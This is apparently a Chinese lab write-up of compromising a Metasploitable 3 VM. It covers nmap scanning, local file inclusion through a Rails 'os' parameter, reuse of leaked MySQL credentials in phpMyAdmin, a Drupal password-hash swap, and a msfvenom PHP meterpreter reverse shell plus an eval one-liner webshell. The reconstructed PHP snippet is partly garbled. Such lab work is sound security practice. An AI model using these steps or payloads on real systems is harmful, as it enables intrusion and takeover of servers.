实验环境
- 主机:kali linux(192.168.123.186)
- 目标机器:Metasploitable 3(ub1404)
- 网络环境:同网段局域网
首先使用nmap工具进行主机发现 nmap -sn 192.168.123.0/24
,找到目标机器的ip地址(因实验环境的特殊性,所以可以直接通过nmap检测到的虚拟机标识来判断目标机器)
Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00035s latency).
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)
再使用TCP全连接进行全端口详细扫描nmap -sT -sV -p 1-65535 192.168.123.23
,扫描过程耗时较长,出于隐蔽性可以选择使用-sS
参数(SYN扫描)替换-sT
参数(全连接扫描)
root@kali:~# nmap -sT -sV -p 1-65535 192.168.123.23
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-25 16:30 CST
Nmap scan report for ubuntu.lan (192.168.123.23)
Host is up (0.00056s latency).
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp open ipp CUPS 1.7
3000/tcp closed ppp
3306/tcp open mysql MySQL (unauthorized)
3500/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
6697/tcp open irc UnrealIRCd
8181/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
MAC Address: 08:00:27:AD:6F:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: UBUNTU, irc.TestIRC.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.77 seconds
发现其开放了80端口,直接访问目标ip,得到一个文件目录
检查过后,仅发现payroll_app.php路径存在可能的注入点(尝试注入失败),逐一访问其他的端口在端口3500
一个基于Ruby的web服务WEBrick的首页中发现了一个路径config
访问之后提示无效路径/config,但报错界面返回了一个有趣的路由表,此处仅截取返回的路由表
这里直接访问/readme路径,访问成功!我访问的版本是ub1404,此处点击ubuntu图标
进入新的页面发现它有个有趣的url http://192.168.123.23:3500/readme?os=linux
,随机传入一个os的值后得到一个报错的debug界面
从这个界面的报错代码中可以看出通过传入的os确定一个模板,然后通过调用render函数来渲染。关于render的详细信息可以浏览https://apidock.com/rails/ActionController/Base/render,这里截取所需的部分
到此可以联想到既然render可以调用一个本地文件,那么它是否可以用于访问目标机器上的任意文件。再回到之前访问80端口获取的目录,通过此处的os参数来访问80端口的目录下的文件,这里以猜测存在注入的payroll_app.php
文件测试(apache httpd的默认路径是/var/www/html/)。果然它是存在本地文件包含漏洞的,通过分析网页源码发现一条比较有价值的信息$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
,但从源码中的其他信息可以拼凑出sql查询的执行函数(未发现过滤)。
此处贴出拼凑出的代码供参考
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');
if ($conn--->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if (!isset($_POST['s'])) {
if($_POST['s']){
$user = $_POST['user'];
$pass = $_POST['password'];
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";
if ($conn--->multi_query($sql)) {
do {
/* store first result set */
echo "";
echo "";
echo "";
echo "";
if ($result = $conn->store_result()) {
while ($row = $result->fetch_assoc()) {
$keys = array_keys($row);
echo "";
foreach ($keys as $key) {
echo "";
}
echo "\n";
}
$result->free();
}
if (!$conn->more_results()) {
echo "" . $row[$key] . "";
}
} while ($conn->next_result());
}
}
} /* 最后这个大括号是我补上的,为了闭合,源码中不存在 */
可能代码不全,也可能本人水平有限此处并未成功注入。但是结合其中发现的数据库的账户和密码可以用来登录phpMyAdmin,(至于原因,本人也在查阅相关资料得知phpMyAdmin是一个以php为基础的mysql管理工具)。从phpMyAdmin中可以看到两个自建的数据库,payroll(里面没有任何有价值的信息,全是一些随机值),drupal(一个开源的内容管理系统)。
如果访问过80端口下的drupal路径的话,可以看到一个登陆页面。在数据库中也可以看到drupal下有一个user表,里面仅存有一个账户,但是密码部分是经过hash处理以后存入数据库的。我们能够访问和修改数据库,也就意味着可以修改数据库中的密码为已知的hash值
那么顺着思路,如何修改密码可以直接百度。(ps:至于为什么是durpal7,我也不清楚,但网上搜索基本上都是修改durpal7的教程,所以这里便直接参照教程尝试)。此处贴出password
对应的hash
$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
(我的水平仅能支撑我走到着了……再往后我不知道我该怎么做了QAQ)
最终还是看了大神的Write Up……原来在drupal中有模块用于过滤php code
勾选以后创建一个article(注:编辑里Text format必须设置为PHP code否则无法执行)
使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.123.186
,来创建一个reverse tcp webshell,同时启用msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.123.186
msf exploit(multi/handler) > exploit
使用msf执行完以上命令以后,将之前命令生成的webshell复制到创建的article中
点击保存以后再看msf就发现已经获取到了目标主机的shell
(注:如果不想借助msf中大量的payload带来的便利,可以使用一句话木马<?php eval($_POST["cmd"]);?>
)
连接目标主机的准备已完成,接下来就开始寻找flag!